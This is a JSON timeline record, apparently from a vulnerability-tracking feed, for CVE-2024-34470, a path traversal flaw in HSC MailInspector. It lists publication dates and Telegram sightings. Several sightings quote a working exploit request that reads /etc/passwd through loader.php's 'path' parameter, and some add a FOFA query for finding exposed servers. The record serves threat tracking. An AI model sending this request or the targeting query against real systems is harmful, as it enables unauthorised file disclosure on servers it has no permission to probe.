{"metadata": {"vulnerability": "CVE-2024-34470", "count": 34, "kinds": {"milestone": 4, "sighting": 21, "kev": 0, "other": 9}}, "data": [{"timestamp": "2024-05-04T00:00:00Z", "date_only": false, "value": "2024-05-04T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-34470", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-05-06T00:00:00Z", "date_only": false, "value": "2024-05-06T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-34470", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-05-06T15:08:39.409Z", "date_only": false, "value": "2024-05-06T15:08:39.409Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-2024-34470", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-05-06T15:15:24Z", "date_only": false, "value": "2024-05-06T15:15:24Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-FV57-985W-X39V", "record": "GHSA-FV57-985W-X39V", "field": "database_specific.nvd_published_at"}, {"timestamp": "2024-05-06T15:15:24.520Z", "date_only": false, "value": "2024-05-06T15:15:24.520", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-34470", "record": "FKIE_CVE-2024-34470", "field": "published"}, {"timestamp": "2024-05-06T15:30:40Z", "date_only": false, "value": "2024-05-06T15:30:40Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-FV57-985W-X39V", "record": "GHSA-FV57-985W-X39V", "field": "published"}, {"timestamp": "2024-05-06T20:45:12.949Z", "date_only": false, "value": "2024-05-06T20:45:12.949598Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-34470", "field": "containers.adp.0.metrics.1.other.content.timestamp"}, {"timestamp": "2024-05-06T20:45:12.949Z", "date_only": false, "value": "2024-05-06T20:45:12.949598Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-34470", "record": "FKIE_CVE-2024-34470", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-06-04T17:42:00.332Z", "date_only": false, "value": "2024-06-04T17:42:00.332Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-34470", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-06-12T15:51:16Z", "date_only": false, "value": "2024-06-12T15:51:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Rc4aowQ97LYVVQDGxjBnVNF9nlBdJPyzpxpsubjMvnRZHA", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "32eb2242-a499-44a8-9f2a-af604f32cb20"}, {"timestamp": "2024-06-12T15:56:04Z", "date_only": false, "value": "2024-06-12T15:56:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2655", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "774d5be6-129d-4804-ba74-91adb8edbf0d", "content": "CVE-2024-34470\n\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\n#poc  #exploit", "url": "https://t.me/CNArsenal/2655"}, {"timestamp": "2024-06-19T09:56:32Z", "date_only": false, "value": "2024-06-19T09:56:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/2125", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "7c873d24-14f4-4cd6-b05a-222abf4e74a9", "content": "CVE-2024-34470 HSC MailInspector\n*\nPOC:\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\nFOFA:\ntitle==\"..:: HSC MailInspector ::..\"", "url": "https://t.me/proxy_bar/2125"}, {"timestamp": "2024-06-19T11:36:16Z", "date_only": false, "value": "2024-06-19T11:36:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7710", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "cf1d4706-a0fb-4125-87c5-e4977c41c1d6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC and bulk scanner for CVE-2024-34470\nURL\uff1ahttps://github.com/bigb0x/CVE-2024-34470\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7710"}, {"timestamp": "2024-06-19T15:42:16Z", "date_only": false, "value": "2024-06-19T15:42:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2685", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "c96d724a-1fe9-49ea-b1b0-4e33bc6d539d", "content": "CVE-2024-34470\n\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\n#exploit #poc", "url": "https://t.me/CNArsenal/2685"}, {"timestamp": "2024-06-19T16:43:11Z", "date_only": false, "value": "2024-06-19T16:43:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/yPYr0DasaZkkHrbr-hd2EaUFfatAxAgNbVitVrHRDWk2cg", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "cdd93784-fcf4-4f16-b464-f2526452c585"}, {"timestamp": "2024-06-20T01:17:39Z", "date_only": false, "value": "2024-06-20T01:17:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/darkcommunityofficial/1030", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "8442cfb4-aa91-421f-aaf7-6b5a6cfce133", "content": "CVE-2024-34470 HSC MailInspector\n*\nPOC:\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\nFOFA:\ntitle==\"..:: HSC MailInspector ::..\"", "url": "https://t.me/darkcommunityofficial/1030"}, {"timestamp": "2024-06-20T23:41:59Z", "date_only": false, "value": "2024-06-20T23:41:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/TheDarkWebInformer/1194", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "5b419d66-2075-4fe6-b84e-d77067b58459", "content": "\ud83d\udea8POC RELEASED\ud83d\udea8CVE-2024-34470 \"A critical vulnerability has been found in HSC Mailinspector up to version 5.2.18. This vulnerability affects an unknown functionality of the file /public/loader.php. Manipulating the 'path' argument with an unknown input leads to a path traversal vulnerability. According to CWE, this issue is classified as CWE-22.\n\nThe product uses external input to construct a pathname intended to identify a file or directory located beneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location outside of the restricted directory. This affects confidentiality, integrity, and availability.\"\n\nhttps://x.com/DarkWebInformer/status/1803905811229352212", "url": "https://t.me/TheDarkWebInformer/1194"}, {"timestamp": "2024-06-20T23:43:07Z", "date_only": false, "value": "2024-06-20T23:43:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/TheDarkWebInformer/1196", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "05a11c0c-44c7-4f0e-a982-1b2eeb1c4d9b", "content": "https://github.com/Mr-r00t11/CVE-2024-34470", "url": "https://t.me/TheDarkWebInformer/1196"}, {"timestamp": "2024-06-23T03:22:40Z", "date_only": false, "value": "2024-06-23T03:22:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7746", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "ebece8c6-043f-435c-a47c-f30e724d9782", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34470 : An Unauthenticated Path Traversal Vulnerability in HSC Mailinspector\nURL\uff1ahttps://github.com/th3gokul/CVE-2024-34470\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7746"}, {"timestamp": "2024-07-03T18:39:09Z", "date_only": false, "value": "2024-07-03T18:39:09Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-FV57-985W-X39V", "record": "GHSA-FV57-985W-X39V", "field": "modified"}, {"timestamp": "2024-07-05T07:14:04Z", "date_only": false, "value": "2024-07-05T07:14:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/QibJsYL0eBhpoxhmaVTLg5u9toELdHUjfLp1DtbVaDJ7_HE", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "7a4ef464-d217-4d5a-bbe7-cf9ccf302461"}, {"timestamp": "2024-07-05T07:47:22Z", "date_only": false, "value": "2024-07-05T07:47:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CipherAgents/1306877", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "c988c176-d015-4ace-bede-767eeba9c217", "content": "CVE-2024-34470 HSC MailInspector\n\nPOC:\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\nFOFA:\ntitle==\"..:: HSC MailInspector ::..\"\n\n#\ud835\ude4f\ud835\ude40\ud835\ude3c\ud835\ude48_\ud835\ude41\ud835\ude4e\ud835\ude40\ud835\ude3e #\ud835\ude4f\ud835\ude40\ud835\ude3c\ud835\ude48_\ud835\ude44\ud835\ude49\ud835\ude3f", "url": "https://t.me/CipherAgents/1306877"}, {"timestamp": "2024-08-02T02:51:11.537Z", "date_only": false, "value": "2024-08-02T02:51:11.537Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-34470", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-02T02:51:11.537Z", "date_only": false, "value": "2024-08-02T02:51:11.537Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2024-34470", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-05-13T19:03:06Z", "date_only": false, "value": "2025-05-13T19:03:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/TheDarkWebInformer/17205", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "57473150-9ec6-4055-91ec-c9269e871106", "content": "CVE-2024-34470: Path Traversal vulnerability in HSC Mailinspector\n\nCredit: youtube.com/@brutsecurity/", "url": "https://t.me/TheDarkWebInformer/17205"}, {"timestamp": "2026-06-17T07:33:28.677Z", "date_only": false, "value": "2026-06-17T07:33:28.677", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-34470", "record": "FKIE_CVE-2024-34470", "field": "lastModified"}, {"timestamp": "2026-07-09T03:00:13.452Z", "date_only": false, "value": "2026-07-09T03:00:13.452125Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/560", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "4f56a50c-8df5-4d53-8a56-a7220699fbbf", "url": "https://t.me/brutsecurity/560"}, {"timestamp": "2026-07-10T00:00:37.317Z", "date_only": false, "value": "2026-07-10T00:00:37.317514Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/brutsecurity/560", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "d3267386-5cbf-4be9-9c52-c9c27ec81162", "url": "https://t.me/brutsecurity/560"}, {"timestamp": "2026-07-11T18:00:04.454Z", "date_only": false, "value": "2026-07-11T18:00:04.454448Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/560", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "bae01b87-34ec-4de9-b539-de1b9e65965f", "url": "https://t.me/brutsecurity/560"}, {"timestamp": "2026-07-12T00:00:41.741Z", "date_only": false, "value": "2026-07-12T00:00:41.741542Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/brutsecurity/560", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "df1f71c7-ae2f-4825-a382-e630deef9603", "url": "https://t.me/brutsecurity/560"}, {"timestamp": "2026-08-04T13:00:17.673Z", "date_only": false, "value": "2026-08-04T13:00:17.673935Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pentestnotes/43", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "1072714e-04a2-421f-bb81-92f0ae48af15", "url": "https://t.me/pentestnotes/43"}, {"timestamp": "2026-08-05T00:00:32.619Z", "date_only": false, "value": "2026-08-05T00:00:32.619613Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pentestnotes/43", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "d2526d10-7fd4-40ff-b739-0343e21b092b", "url": "https://t.me/pentestnotes/43"}, {"timestamp": "2026-08-06T00:01:01.469Z", "date_only": false, "value": "2026-08-06T00:01:01.469200Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/pentestnotes/43", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "908edb22-8308-48b0-956e-9f32d259ec25", "url": "https://t.me/pentestnotes/43"}, {"timestamp": "2026-09-05T13:00:04.983Z", "date_only": false, "value": "2026-09-05T13:00:04.983339Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/E_WyzaOudgwaNXoA105LhIEanQUj5hipt6F_RZ98nQPfTHQ", "record": "CVE-2024-34470", "field": "creation_timestamp", "uuid": "efe72595-d787-496c-9bdf-8ed6353d048c"}]}